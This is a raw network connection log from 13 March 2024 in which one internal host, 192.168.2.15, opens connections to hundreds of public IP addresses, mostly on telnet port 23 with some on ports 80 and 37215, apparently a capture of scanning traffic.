Mar 13, 2024 09:35:10.640142918 CET	57141	80	192.168.2.15	112.143.130.235
Mar 13, 2024 09:35:10.640142918 CET	57141	80	192.168.2.15	189.247.136.144
Mar 13, 2024 09:35:10.640142918 CET	57141	80	192.168.2.15	119.206.80.58
Mar 13, 2024 09:35:10.640151024 CET	57141	80	192.168.2.15	27.192.157.210
Mar 13, 2024 09:35:10.640151024 CET	57141	80	192.168.2.15	32.240.186.16
Mar 13, 2024 09:35:10.640151978 CET	57141	80	192.168.2.15	140.156.66.242
Mar 13, 2024 09:35:10.640172005 CET	57141	80	192.168.2.15	170.248.238.214
Mar 13, 2024 09:35:10.640795946 CET	37215	57653	197.254.106.137	192.168.2.15
Mar 13, 2024 09:35:10.769220114 CET	37215	57653	197.128.169.73	192.168.2.15
Mar 13, 2024 09:35:10.769330025 CET	57653	37215	192.168.2.15	197.128.169.73
Mar 13, 2024 09:35:10.769758940 CET	37215	57653	197.128.169.73	192.168.2.15
Mar 13, 2024 09:35:10.787760973 CET	23	55502	62.168.11.17	192.168.2.15
Mar 13, 2024 09:35:10.788923025 CET	23	55504	62.168.11.17	192.168.2.15
Mar 13, 2024 09:35:10.789017916 CET	55504	23	192.168.2.15	62.168.11.17
Mar 13, 2024 09:35:10.789041042 CET	56885	23	192.168.2.15	71.165.153.250
Mar 13, 2024 09:35:10.789041042 CET	56885	23	192.168.2.15	49.192.135.113
Mar 13, 2024 09:35:10.789047003 CET	56885	23	192.168.2.15	125.159.201.77
Mar 13, 2024 09:35:10.789047003 CET	56885	23	192.168.2.15	118.117.227.248
Mar 13, 2024 09:35:10.789047003 CET	56885	23	192.168.2.15	164.81.191.202
Mar 13, 2024 09:35:10.789061069 CET	56885	23	192.168.2.15	169.70.125.238
Mar 13, 2024 09:35:10.789063931 CET	56885	23	192.168.2.15	62.56.78.196
Mar 13, 2024 09:35:10.789061069 CET	56885	23	192.168.2.15	173.255.39.249
Mar 13, 2024 09:35:10.789071083 CET	56885	23	192.168.2.15	93.196.240.105
Mar 13, 2024 09:35:10.789071083 CET	56885	23	192.168.2.15	175.115.232.242
Mar 13, 2024 09:35:10.789072037 CET	56885	23	192.168.2.15	221.207.78.202
Mar 13, 2024 09:35:10.789076090 CET	56885	23	192.168.2.15	101.106.151.10
Mar 13, 2024 09:35:10.789076090 CET	56885	23	192.168.2.15	222.37.132.238
Mar 13, 2024 09:35:10.789099932 CET	56885	23	192.168.2.15	81.132.2.54
Mar 13, 2024 09:35:10.789099932 CET	56885	23	192.168.2.15	68.125.163.9
Mar 13, 2024 09:35:10.789098978 CET	56885	23	192.168.2.15	58.160.209.172
Mar 13, 2024 09:35:10.789098978 CET	56885	23	192.168.2.15	88.111.240.220
Mar 13, 2024 09:35:10.789104939 CET	56885	23	192.168.2.15	58.141.20.234
Mar 13, 2024 09:35:10.789104939 CET	56885	23	192.168.2.15	221.179.37.115
Mar 13, 2024 09:35:10.789104939 CET	56885	23	192.168.2.15	187.34.135.146
Mar 13, 2024 09:35:10.789104939 CET	56885	23	192.168.2.15	111.226.194.47
Mar 13, 2024 09:35:10.789107084 CET	56885	23	192.168.2.15	206.157.240.143
Mar 13, 2024 09:35:10.789108038 CET	56885	23	192.168.2.15	185.155.109.221
Mar 13, 2024 09:35:10.789102077 CET	56885	23	192.168.2.15	136.2.60.67
Mar 13, 2024 09:35:10.789103031 CET	56885	23	192.168.2.15	199.104.211.238
Mar 13, 2024 09:35:10.789114952 CET	56885	23	192.168.2.15	211.37.78.167
Mar 13, 2024 09:35:10.789103031 CET	56885	23	192.168.2.15	185.191.239.255
Mar 13, 2024 09:35:10.789114952 CET	56885	23	192.168.2.15	91.56.131.213
Mar 13, 2024 09:35:10.789129019 CET	56885	23	192.168.2.15	61.248.178.88
Mar 13, 2024 09:35:10.789129972 CET	56885	23	192.168.2.15	66.124.100.198
Mar 13, 2024 09:35:10.789129972 CET	56885	23	192.168.2.15	140.106.134.147
Mar 13, 2024 09:35:10.789132118 CET	56885	23	192.168.2.15	201.149.160.49
Mar 13, 2024 09:35:10.789132118 CET	56885	23	192.168.2.15	38.1.121.36
Mar 13, 2024 09:35:10.789133072 CET	56885	23	192.168.2.15	172.118.55.182
Mar 13, 2024 09:35:10.789133072 CET	56885	23	192.168.2.15	193.90.144.69
Mar 13, 2024 09:35:10.789133072 CET	56885	23	192.168.2.15	71.19.248.100
Mar 13, 2024 09:35:10.789139032 CET	56885	23	192.168.2.15	99.198.116.130
Mar 13, 2024 09:35:10.789139032 CET	56885	23	192.168.2.15	186.243.233.180
Mar 13, 2024 09:35:10.789149046 CET	56885	23	192.168.2.15	102.149.225.140
Mar 13, 2024 09:35:10.789155006 CET	56885	23	192.168.2.15	145.233.63.81
Mar 13, 2024 09:35:10.789155006 CET	56885	23	192.168.2.15	188.250.46.120
Mar 13, 2024 09:35:10.789161921 CET	56885	23	192.168.2.15	71.228.82.101
Mar 13, 2024 09:35:10.789161921 CET	56885	23	192.168.2.15	85.62.211.98
Mar 13, 2024 09:35:10.789165974 CET	56885	23	192.168.2.15	13.195.85.178
Mar 13, 2024 09:35:10.789172888 CET	56885	23	192.168.2.15	209.55.55.158
Mar 13, 2024 09:35:10.789172888 CET	56885	23	192.168.2.15	105.33.104.201
Mar 13, 2024 09:35:10.789185047 CET	56885	23	192.168.2.15	142.207.238.40
Mar 13, 2024 09:35:10.789187908 CET	56885	23	192.168.2.15	130.180.83.149
Mar 13, 2024 09:35:10.789187908 CET	56885	23	192.168.2.15	109.235.202.6
Mar 13, 2024 09:35:10.789191961 CET	56885	23	192.168.2.15	172.247.194.114
Mar 13, 2024 09:35:10.789191961 CET	56885	23	192.168.2.15	74.7.100.154
Mar 13, 2024 09:35:10.789202929 CET	56885	23	192.168.2.15	42.75.177.6
Mar 13, 2024 09:35:10.789203882 CET	56885	23	192.168.2.15	64.196.176.156
Mar 13, 2024 09:35:10.789216995 CET	56885	23	192.168.2.15	46.30.180.188
Mar 13, 2024 09:35:10.789217949 CET	56885	23	192.168.2.15	178.121.29.57
Mar 13, 2024 09:35:10.789221048 CET	56885	23	192.168.2.15	68.62.161.123
Mar 13, 2024 09:35:10.789222002 CET	56885	23	192.168.2.15	189.212.199.71
Mar 13, 2024 09:35:10.789222002 CET	56885	23	192.168.2.15	218.100.3.166
Mar 13, 2024 09:35:10.789237976 CET	56885	23	192.168.2.15	150.35.208.104
Mar 13, 2024 09:35:10.789238930 CET	56885	23	192.168.2.15	87.100.4.156
Mar 13, 2024 09:35:10.789241076 CET	56885	23	192.168.2.15	81.35.59.28
Mar 13, 2024 09:35:10.789242029 CET	56885	23	192.168.2.15	217.108.114.115
Mar 13, 2024 09:35:10.789238930 CET	56885	23	192.168.2.15	168.165.245.95
Mar 13, 2024 09:35:10.789238930 CET	56885	23	192.168.2.15	199.16.53.55
Mar 13, 2024 09:35:10.789238930 CET	56885	23	192.168.2.15	47.10.225.208
Mar 13, 2024 09:35:10.789244890 CET	56885	23	192.168.2.15	119.208.206.187
Mar 13, 2024 09:35:10.789238930 CET	56885	23	192.168.2.15	41.221.60.101
Mar 13, 2024 09:35:10.789252996 CET	56885	23	192.168.2.15	133.106.28.95
Mar 13, 2024 09:35:10.789258957 CET	56885	23	192.168.2.15	91.65.67.110
Mar 13, 2024 09:35:10.789258957 CET	56885	23	192.168.2.15	78.24.136.58
Mar 13, 2024 09:35:10.789263964 CET	56885	23	192.168.2.15	98.95.32.38
Mar 13, 2024 09:35:10.789268017 CET	56885	23	192.168.2.15	124.96.171.190
Mar 13, 2024 09:35:10.789268017 CET	56885	23	192.168.2.15	204.52.251.160
Mar 13, 2024 09:35:10.789268017 CET	56885	23	192.168.2.15	149.155.59.21
Mar 13, 2024 09:35:10.789275885 CET	56885	23	192.168.2.15	129.246.9.111
Mar 13, 2024 09:35:10.789282084 CET	56885	23	192.168.2.15	115.230.140.54
Mar 13, 2024 09:35:10.789283991 CET	56885	23	192.168.2.15	71.201.242.32
Mar 13, 2024 09:35:10.789283991 CET	56885	23	192.168.2.15	76.196.194.208
Mar 13, 2024 09:35:10.789283991 CET	56885	23	192.168.2.15	209.67.147.102
Mar 13, 2024 09:35:10.789285898 CET	56885	23	192.168.2.15	68.169.211.65
Mar 13, 2024 09:35:10.789288998 CET	56885	23	192.168.2.15	142.212.217.139
Mar 13, 2024 09:35:10.789308071 CET	56885	23	192.168.2.15	122.179.171.127
Mar 13, 2024 09:35:10.789320946 CET	56885	23	192.168.2.15	46.77.127.253
Mar 13, 2024 09:35:10.789329052 CET	56885	23	192.168.2.15	207.17.164.206
Mar 13, 2024 09:35:10.789330006 CET	56885	23	192.168.2.15	45.186.65.126
Mar 13, 2024 09:35:10.789330959 CET	56885	23	192.168.2.15	40.16.45.170
Mar 13, 2024 09:35:10.789331913 CET	56885	23	192.168.2.15	202.179.235.9
Mar 13, 2024 09:35:10.789336920 CET	56885	23	192.168.2.15	113.21.70.150
Mar 13, 2024 09:35:10.789341927 CET	56885	23	192.168.2.15	87.131.72.24
Mar 13, 2024 09:35:10.789346933 CET	56885	23	192.168.2.15	36.32.221.225
Mar 13, 2024 09:35:10.789351940 CET	56885	23	192.168.2.15	41.25.159.181
Mar 13, 2024 09:35:10.789351940 CET	56885	23	192.168.2.15	41.233.225.72
Mar 13, 2024 09:35:10.789357901 CET	56885	23	192.168.2.15	4.95.165.34
Mar 13, 2024 09:35:10.789372921 CET	56885	23	192.168.2.15	136.221.164.25
Mar 13, 2024 09:35:10.789376020 CET	56885	23	192.168.2.15	196.243.126.140
Mar 13, 2024 09:35:10.789376020 CET	56885	23	192.168.2.15	43.125.243.38
Mar 13, 2024 09:35:10.789381981 CET	56885	23	192.168.2.15	182.49.5.135
Mar 13, 2024 09:35:10.789381981 CET	56885	23	192.168.2.15	134.244.57.10
Mar 13, 2024 09:35:10.789397955 CET	56885	23	192.168.2.15	18.65.163.16
Mar 13, 2024 09:35:10.789406061 CET	56885	23	192.168.2.15	135.14.108.201
Mar 13, 2024 09:35:10.789408922 CET	56885	23	192.168.2.15	101.58.249.48
Mar 13, 2024 09:35:10.789408922 CET	56885	23	192.168.2.15	115.212.138.80
Mar 13, 2024 09:35:10.789422989 CET	56885	23	192.168.2.15	111.254.22.23
Mar 13, 2024 09:35:10.789422989 CET	56885	23	192.168.2.15	110.17.225.79
Mar 13, 2024 09:35:10.789431095 CET	56885	23	192.168.2.15	223.247.75.221
Mar 13, 2024 09:35:10.789434910 CET	56885	23	192.168.2.15	104.56.39.200
Mar 13, 2024 09:35:10.789434910 CET	56885	23	192.168.2.15	121.216.72.28
Mar 13, 2024 09:35:10.789452076 CET	56885	23	192.168.2.15	174.181.140.189
Mar 13, 2024 09:35:10.789452076 CET	56885	23	192.168.2.15	68.76.183.88
Mar 13, 2024 09:35:10.789452076 CET	56885	23	192.168.2.15	164.72.3.190
Mar 13, 2024 09:35:10.789469004 CET	56885	23	192.168.2.15	216.27.199.191
Mar 13, 2024 09:35:10.789469957 CET	56885	23	192.168.2.15	32.176.14.160
Mar 13, 2024 09:35:10.789469957 CET	56885	23	192.168.2.15	17.233.94.72
Mar 13, 2024 09:35:10.789475918 CET	56885	23	192.168.2.15	62.26.134.57
Mar 13, 2024 09:35:10.789480925 CET	56885	23	192.168.2.15	177.84.52.21
Mar 13, 2024 09:35:10.789480925 CET	56885	23	192.168.2.15	173.237.177.188
Mar 13, 2024 09:35:10.789484024 CET	56885	23	192.168.2.15	49.15.56.212
Mar 13, 2024 09:35:10.789484024 CET	56885	23	192.168.2.15	124.135.231.176
Mar 13, 2024 09:35:10.789485931 CET	56885	23	192.168.2.15	153.151.183.30
Mar 13, 2024 09:35:10.789489031 CET	56885	23	192.168.2.15	126.220.255.184
Mar 13, 2024 09:35:10.789490938 CET	56885	23	192.168.2.15	196.34.247.249
Mar 13, 2024 09:35:10.789498091 CET	56885	23	192.168.2.15	99.58.26.76
Mar 13, 2024 09:35:10.789505005 CET	56885	23	192.168.2.15	161.250.100.67
Mar 13, 2024 09:35:10.789527893 CET	56885	23	192.168.2.15	58.9.78.110
Mar 13, 2024 09:35:10.789527893 CET	56885	23	192.168.2.15	85.50.35.244
Mar 13, 2024 09:35:10.789531946 CET	56885	23	192.168.2.15	186.242.59.156
Mar 13, 2024 09:35:10.789531946 CET	56885	23	192.168.2.15	49.199.48.139
Mar 13, 2024 09:35:10.789536953 CET	56885	23	192.168.2.15	139.115.33.164
Mar 13, 2024 09:35:10.789547920 CET	56885	23	192.168.2.15	148.73.104.95
Mar 13, 2024 09:35:10.789550066 CET	56885	23	192.168.2.15	97.63.31.42
Mar 13, 2024 09:35:10.789549112 CET	56885	23	192.168.2.15	201.66.88.38
Mar 13, 2024 09:35:10.789551020 CET	56885	23	192.168.2.15	206.29.114.50
Mar 13, 2024 09:35:10.789552927 CET	56885	23	192.168.2.15	148.55.61.183
Mar 13, 2024 09:35:10.789552927 CET	56885	23	192.168.2.15	94.178.76.118
Mar 13, 2024 09:35:10.789552927 CET	56885	23	192.168.2.15	64.117.40.82
Mar 13, 2024 09:35:10.789560080 CET	56885	23	192.168.2.15	136.143.132.233
Mar 13, 2024 09:35:10.789560080 CET	56885	23	192.168.2.15	174.214.248.141
Mar 13, 2024 09:35:10.789561033 CET	56885	23	192.168.2.15	161.67.68.11
Mar 13, 2024 09:35:10.789566040 CET	56885	23	192.168.2.15	49.101.85.216
Mar 13, 2024 09:35:10.789575100 CET	56885	23	192.168.2.15	152.65.216.19
Mar 13, 2024 09:35:10.789575100 CET	56885	23	192.168.2.15	141.165.241.240
Mar 13, 2024 09:35:10.789587975 CET	56885	23	192.168.2.15	217.182.186.111
Mar 13, 2024 09:35:10.789587975 CET	56885	23	192.168.2.15	177.157.69.3
Mar 13, 2024 09:35:10.789587975 CET	56885	23	192.168.2.15	141.12.197.68
Mar 13, 2024 09:35:10.789587975 CET	56885	23	192.168.2.15	176.175.171.86
Mar 13, 2024 09:35:10.789591074 CET	56885	23	192.168.2.15	109.34.187.92
Mar 13, 2024 09:35:10.789594889 CET	56885	23	192.168.2.15	89.70.90.22
Mar 13, 2024 09:35:10.789593935 CET	56885	23	192.168.2.15	180.8.74.28
Mar 13, 2024 09:35:10.789594889 CET	56885	23	192.168.2.15	52.79.214.152
Mar 13, 2024 09:35:10.789594889 CET	56885	23	192.168.2.15	169.188.229.84
Mar 13, 2024 09:35:10.789602995 CET	56885	23	192.168.2.15	111.202.208.237
Mar 13, 2024 09:35:10.789602995 CET	56885	23	192.168.2.15	148.93.11.253
Mar 13, 2024 09:35:10.789604902 CET	56885	23	192.168.2.15	8.85.176.61
Mar 13, 2024 09:35:10.789607048 CET	56885	23	192.168.2.15	63.35.167.174
Mar 13, 2024 09:35:10.789622068 CET	56885	23	192.168.2.15	47.153.217.43
Mar 13, 2024 09:35:10.789622068 CET	56885	23	192.168.2.15	106.60.154.104
Mar 13, 2024 09:35:10.789623022 CET	56885	23	192.168.2.15	146.164.76.164
Mar 13, 2024 09:35:10.789624929 CET	56885	23	192.168.2.15	133.160.63.199
Mar 13, 2024 09:35:10.789624929 CET	56885	23	192.168.2.15	156.0.51.11
Mar 13, 2024 09:35:10.789624929 CET	56885	23	192.168.2.15	206.148.150.80
Mar 13, 2024 09:35:10.789628029 CET	56885	23	192.168.2.15	197.74.5.132
Mar 13, 2024 09:35:10.789637089 CET	56885	23	192.168.2.15	218.227.183.88
Mar 13, 2024 09:35:10.789638996 CET	56885	23	192.168.2.15	138.170.118.84
Mar 13, 2024 09:35:10.789643049 CET	56885	23	192.168.2.15	69.165.89.30
Mar 13, 2024 09:35:10.789637089 CET	56885	23	192.168.2.15	124.102.197.174
Mar 13, 2024 09:35:10.789647102 CET	56885	23	192.168.2.15	44.160.242.128
Mar 13, 2024 09:35:10.789660931 CET	56885	23	192.168.2.15	90.66.117.163
Mar 13, 2024 09:35:10.789660931 CET	56885	23	192.168.2.15	50.63.116.82
Mar 13, 2024 09:35:10.789660931 CET	56885	23	192.168.2.15	66.255.243.189
Mar 13, 2024 09:35:10.789666891 CET	56885	23	192.168.2.15	25.155.225.200
Mar 13, 2024 09:35:10.789670944 CET	56885	23	192.168.2.15	220.186.230.233
Mar 13, 2024 09:35:10.789670944 CET	56885	23	192.168.2.15	99.135.153.119
Mar 13, 2024 09:35:10.789690018 CET	56885	23	192.168.2.15	172.110.24.179
Mar 13, 2024 09:35:10.789691925 CET	56885	23	192.168.2.15	201.243.173.150
Mar 13, 2024 09:35:10.789691925 CET	56885	23	192.168.2.15	220.50.88.78
Mar 13, 2024 09:35:10.789694071 CET	56885	23	192.168.2.15	199.18.69.52
Mar 13, 2024 09:35:10.789695024 CET	56885	23	192.168.2.15	223.164.85.15
Mar 13, 2024 09:35:10.789707899 CET	56885	23	192.168.2.15	51.14.42.116
Mar 13, 2024 09:35:10.789707899 CET	56885	23	192.168.2.15	105.197.226.215
Mar 13, 2024 09:35:10.789709091 CET	56885	23	192.168.2.15	83.208.46.180
Mar 13, 2024 09:35:10.789714098 CET	56885	23	192.168.2.15	93.213.195.217
Mar 13, 2024 09:35:10.789714098 CET	56885	23	192.168.2.15	162.247.28.6
Mar 13, 2024 09:35:10.789716959 CET	56885	23	192.168.2.15	70.98.179.231
Mar 13, 2024 09:35:10.789717913 CET	56885	23	192.168.2.15	209.197.84.91
Mar 13, 2024 09:35:10.789732933 CET	56885	23	192.168.2.15	2.35.89.137
Mar 13, 2024 09:35:10.789732933 CET	56885	23	192.168.2.15	122.97.215.38
Mar 13, 2024 09:35:10.789732933 CET	56885	23	192.168.2.15	147.84.23.97
Mar 13, 2024 09:35:10.789745092 CET	56885	23	192.168.2.15	220.26.232.13
Mar 13, 2024 09:35:10.789753914 CET	56885	23	192.168.2.15	213.35.51.165
Mar 13, 2024 09:35:10.789753914 CET	56885	23	192.168.2.15	107.193.142.231
Mar 13, 2024 09:35:10.789753914 CET	56885	23	192.168.2.15	169.89.108.188
Mar 13, 2024 09:35:10.789756060 CET	56885	23	192.168.2.15	158.254.43.221
Mar 13, 2024 09:35:10.789760113 CET	56885	23	192.168.2.15	42.108.133.149
Mar 13, 2024 09:35:10.789760113 CET	56885	23	192.168.2.15	97.221.185.254
Mar 13, 2024 09:35:10.789764881 CET	56885	23	192.168.2.15	219.171.168.45
Mar 13, 2024 09:35:10.789767027 CET	56885	23	192.168.2.15	75.250.26.69
Mar 13, 2024 09:35:10.789777040 CET	56885	23	192.168.2.15	77.178.110.239
Mar 13, 2024 09:35:10.789786100 CET	56885	23	192.168.2.15	136.73.104.39
Mar 13, 2024 09:35:10.789787054 CET	56885	23	192.168.2.15	78.39.214.107
Mar 13, 2024 09:35:10.789791107 CET	56885	23	192.168.2.15	130.36.92.159
Mar 13, 2024 09:35:10.789800882 CET	56885	23	192.168.2.15	18.123.46.245
Mar 13, 2024 09:35:10.789800882 CET	56885	23	192.168.2.15	101.12.106.94
Mar 13, 2024 09:35:10.789814949 CET	56885	23	192.168.2.15	107.174.190.93
Mar 13, 2024 09:35:10.789814949 CET	56885	23	192.168.2.15	70.159.51.78
Mar 13, 2024 09:35:10.789815903 CET	56885	23	192.168.2.15	202.190.196.49
Mar 13, 2024 09:35:10.789820910 CET	56885	23	192.168.2.15	86.247.144.91
Mar 13, 2024 09:35:10.789824009 CET	56885	23	192.168.2.15	130.213.207.207
Mar 13, 2024 09:35:10.789850950 CET	56885	23	192.168.2.15	69.160.188.180
Mar 13, 2024 09:35:10.789855957 CET	56885	23	192.168.2.15	83.249.172.160
Mar 13, 2024 09:35:10.789858103 CET	56885	23	192.168.2.15	38.26.255.61
Mar 13, 2024 09:35:10.789859056 CET	56885	23	192.168.2.15	109.243.116.144
Mar 13, 2024 09:35:10.789859056 CET	56885	23	192.168.2.15	100.138.80.95
Mar 13, 2024 09:35:10.789866924 CET	56885	23	192.168.2.15	213.34.1.225
Mar 13, 2024 09:35:10.789871931 CET	56885	23	192.168.2.15	180.119.235.189
Mar 13, 2024 09:35:10.789872885 CET	56885	23	192.168.2.15	175.180.128.21
Mar 13, 2024 09:35:10.789880991 CET	56885	23	192.168.2.15	134.227.71.255
Mar 13, 2024 09:35:10.789894104 CET	56885	23	192.168.2.15	201.136.27.221
Mar 13, 2024 09:35:10.789894104 CET	56885	23	192.168.2.15	74.83.20.212
Mar 13, 2024 09:35:10.789895058 CET	56885	23	192.168.2.15	98.138.212.3
Mar 13, 2024 09:35:10.789895058 CET	56885	23	192.168.2.15	159.23.113.57
Mar 13, 2024 09:35:10.789901018 CET	56885	23	192.168.2.15	46.138.53.98
Mar 13, 2024 09:35:10.789901018 CET	56885	23	192.168.2.15	141.255.145.116
Mar 13, 2024 09:35:10.789904118 CET	56885	23	192.168.2.15	60.144.63.14
Mar 13, 2024 09:35:10.789913893 CET	56885	23	192.168.2.15	66.188.203.163
Mar 13, 2024 09:35:10.789920092 CET	56885	23	192.168.2.15	17.121.180.232
Mar 13, 2024 09:35:10.789922953 CET	56885	23	192.168.2.15	98.29.1.149
Mar 13, 2024 09:35:10.789932966 CET	56885	23	192.168.2.15	133.225.169.89
Mar 13, 2024 09:35:10.789937973 CET	56885	23	192.168.2.15	205.65.120.27
Mar 13, 2024 09:35:10.789938927 CET	56885	23	192.168.2.15	212.194.205.234
Mar 13, 2024 09:35:10.789938927 CET	56885	23	192.168.2.15	9.82.45.206
Mar 13, 2024 09:35:10.789938927 CET	56885	23	192.168.2.15	72.0.197.236
Mar 13, 2024 09:35:10.789940119 CET	56885	23	192.168.2.15	92.19.139.67
Mar 13, 2024 09:35:10.789947987 CET	56885	23	192.168.2.15	74.169.111.224
Mar 13, 2024 09:35:10.789947987 CET	56885	23	192.168.2.15	129.82.11.56
Mar 13, 2024 09:35:10.789958000 CET	56885	23	192.168.2.15	205.110.7.81
Mar 13, 2024 09:35:10.789958000 CET	56885	23	192.168.2.15	182.187.189.70
Mar 13, 2024 09:35:10.789968014 CET	56885	23	192.168.2.15	77.201.119.29
Mar 13, 2024 09:35:10.789972067 CET	56885	23	192.168.2.15	202.249.110.208
Mar 13, 2024 09:35:10.789982080 CET	56885	23	192.168.2.15	53.139.83.35
Mar 13, 2024 09:35:10.789993048 CET	56885	23	192.168.2.15	8.0.17.121
Mar 13, 2024 09:35:10.789993048 CET	56885	23	192.168.2.15	208.184.0.2
Mar 13, 2024 09:35:10.789997101 CET	56885	23	192.168.2.15	194.188.30.10
Mar 13, 2024 09:35:10.789997101 CET	56885	23	192.168.2.15	143.107.229.139
Mar 13, 2024 09:35:10.789999962 CET	56885	23	192.168.2.15	194.24.172.188
Mar 13, 2024 09:35:10.790013075 CET	56885	23	192.168.2.15	216.172.134.21
Mar 13, 2024 09:35:10.790016890 CET	56885	23	192.168.2.15	110.140.132.42
Mar 13, 2024 09:35:10.790021896 CET	56885	23	192.168.2.15	32.9.109.158
Mar 13, 2024 09:35:10.790021896 CET	56885	23	192.168.2.15	77.217.7.242
Mar 13, 2024 09:35:10.790021896 CET	56885	23	192.168.2.15	208.63.111.8
Mar 13, 2024 09:35:10.790024996 CET	56885	23	192.168.2.15	110.97.7.109
Mar 13, 2024 09:35:10.790024996 CET	56885	23	192.168.2.15	112.208.41.118
Mar 13, 2024 09:35:10.790024996 CET	56885	23	192.168.2.15	144.30.140.214
Mar 13, 2024 09:35:10.790031910 CET	56885	23	192.168.2.15	202.190.45.20
Mar 13, 2024 09:35:10.790031910 CET	56885	23	192.168.2.15	149.22.254.31
Mar 13, 2024 09:35:10.790031910 CET	56885	23	192.168.2.15	160.28.207.137
Mar 13, 2024 09:35:10.790031910 CET	56885	23	192.168.2.15	177.55.36.91
Mar 13, 2024 09:35:10.790034056 CET	56885	23	192.168.2.15	169.48.86.214
Mar 13, 2024 09:35:10.790047884 CET	56885	23	192.168.2.15	96.13.151.94
Mar 13, 2024 09:35:10.790047884 CET	56885	23	192.168.2.15	8.200.41.118
Mar 13, 2024 09:35:10.790050030 CET	56885	23	192.168.2.15	120.27.56.180
Mar 13, 2024 09:35:10.790057898 CET	56885	23	192.168.2.15	119.75.157.194
Mar 13, 2024 09:35:10.790057898 CET	56885	23	192.168.2.15	65.51.111.243
Mar 13, 2024 09:35:10.790057898 CET	56885	23	192.168.2.15	81.177.127.68
Mar 13, 2024 09:35:10.790066004 CET	56885	23	192.168.2.15	120.174.78.9
Mar 13, 2024 09:35:10.790066004 CET	56885	23	192.168.2.15	41.164.103.137
Mar 13, 2024 09:35:10.790082932 CET	56885	23	192.168.2.15	190.15.107.164
Mar 13, 2024 09:35:10.790086031 CET	56885	23	192.168.2.15	176.30.16.208
Mar 13, 2024 09:35:10.790086031 CET	56885	23	192.168.2.15	160.54.103.90
Mar 13, 2024 09:35:10.790092945 CET	56885	23	192.168.2.15	47.93.245.126
Mar 13, 2024 09:35:10.790096998 CET	56885	23	192.168.2.15	193.129.242.123
Mar 13, 2024 09:35:10.790096998 CET	56885	23	192.168.2.15	211.95.118.10
Mar 13, 2024 09:35:10.790105104 CET	56885	23	192.168.2.15	61.61.219.161
Mar 13, 2024 09:35:10.790106058 CET	56885	23	192.168.2.15	206.65.185.189
Mar 13, 2024 09:35:10.790107012 CET	56885	23	192.168.2.15	156.50.229.146
Mar 13, 2024 09:35:10.790117979 CET	56885	23	192.168.2.15	136.9.225.135
Mar 13, 2024 09:35:10.790119886 CET	56885	23	192.168.2.15	74.158.61.115
Mar 13, 2024 09:35:10.790123940 CET	56885	23	192.168.2.15	74.93.254.143
Mar 13, 2024 09:35:10.790132046 CET	56885	23	192.168.2.15	220.227.17.23
Mar 13, 2024 09:35:10.790136099 CET	56885	23	192.168.2.15	221.146.112.240
Mar 13, 2024 09:35:10.790136099 CET	56885	23	192.168.2.15	95.158.89.63
Mar 13, 2024 09:35:10.790144920 CET	56885	23	192.168.2.15	162.144.66.10
Mar 13, 2024 09:35:10.790144920 CET	56885	23	192.168.2.15	138.177.65.226
Mar 13, 2024 09:35:10.790154934 CET	56885	23	192.168.2.15	66.8.73.213
Mar 13, 2024 09:35:10.790163994 CET	56885	23	192.168.2.15	63.204.26.31
Mar 13, 2024 09:35:10.790172100 CET	56885	23	192.168.2.15	47.57.30.216
Mar 13, 2024 09:35:10.790175915 CET	56885	23	192.168.2.15	156.115.217.241
Mar 13, 2024 09:35:10.790175915 CET	56885	23	192.168.2.15	180.251.219.11
Mar 13, 2024 09:35:10.790178061 CET	56885	23	192.168.2.15	160.16.99.216
Mar 13, 2024 09:35:10.790177107 CET	56885	23	192.168.2.15	53.234.126.18
Mar 13, 2024 09:35:10.790179968 CET	56885	23	192.168.2.15	97.106.222.158
Mar 13, 2024 09:35:10.790182114 CET	56885	23	192.168.2.15	139.145.179.196
Mar 13, 2024 09:35:10.790189028 CET	56885	23	192.168.2.15	143.241.191.38
Mar 13, 2024 09:35:10.790189028 CET	56885	23	192.168.2.15	120.2.165.64
Mar 13, 2024 09:35:10.790193081 CET	56885	23	192.168.2.15	18.185.251.86
Mar 13, 2024 09:35:10.790194988 CET	56885	23	192.168.2.15	142.101.202.135
Mar 13, 2024 09:35:10.790216923 CET	56885	23	192.168.2.15	73.180.223.38
Mar 13, 2024 09:35:10.790226936 CET	56885	23	192.168.2.15	219.48.198.151
Mar 13, 2024 09:35:10.790226936 CET	56885	23	192.168.2.15	151.182.103.108
Mar 13, 2024 09:35:10.790220022 CET	56885	23	192.168.2.15	42.33.51.135
Mar 13, 2024 09:35:10.790229082 CET	56885	23	192.168.2.15	181.23.182.11
Mar 13, 2024 09:35:10.790229082 CET	56885	23	192.168.2.15	48.203.72.152
Mar 13, 2024 09:35:10.790229082 CET	56885	23	192.168.2.15	83.25.252.75
Mar 13, 2024 09:35:10.790220022 CET	56885	23	192.168.2.15	95.129.40.95
Mar 13, 2024 09:35:10.790236950 CET	56885	23	192.168.2.15	19.171.144.106
Mar 13, 2024 09:35:10.790249109 CET	56885	23	192.168.2.15	62.24.53.139
Mar 13, 2024 09:35:10.790249109 CET	56885	23	192.168.2.15	145.35.246.84
Mar 13, 2024 09:35:10.790256023 CET	56885	23	192.168.2.15	112.216.39.250
Mar 13, 2024 09:35:10.790258884 CET	56885	23	192.168.2.15	153.33.145.240
Mar 13, 2024 09:35:10.790258884 CET	56885	23	192.168.2.15	134.150.113.194
Mar 13, 2024 09:35:10.790271997 CET	56885	23	192.168.2.15	143.44.213.36
Mar 13, 2024 09:35:10.790271997 CET	56885	23	192.168.2.15	51.102.58.24
Mar 13, 2024 09:35:10.790291071 CET	56885	23	192.168.2.15	120.102.69.206
Mar 13, 2024 09:35:10.790292025 CET	56885	23	192.168.2.15	89.52.48.217
Mar 13, 2024 09:35:10.790301085 CET	56885	23	192.168.2.15	177.172.85.4
Mar 13, 2024 09:35:10.790307999 CET	56885	23	192.168.2.15	40.136.221.179
Mar 13, 2024 09:35:10.790308952 CET	56885	23	192.168.2.15	150.34.143.200
Mar 13, 2024 09:35:10.790308952 CET	56885	23	192.168.2.15	136.109.11.74
Mar 13, 2024 09:35:10.790313959 CET	56885	23	192.168.2.15	120.219.54.171
Mar 13, 2024 09:35:10.790313959 CET	56885	23	192.168.2.15	39.74.139.204
Mar 13, 2024 09:35:10.790316105 CET	56885	23	192.168.2.15	73.128.113.15
Mar 13, 2024 09:35:10.790316105 CET	56885	23	192.168.2.15	182.59.137.202
Mar 13, 2024 09:35:10.790332079 CET	56885	23	192.168.2.15	37.40.216.245
Mar 13, 2024 09:35:10.790333033 CET	56885	23	192.168.2.15	128.51.185.59
Mar 13, 2024 09:35:10.790333033 CET	56885	23	192.168.2.15	221.218.39.200
Mar 13, 2024 09:35:10.790338993 CET	56885	23	192.168.2.15	94.55.124.252
Mar 13, 2024 09:35:10.790338993 CET	56885	23	192.168.2.15	167.35.149.108
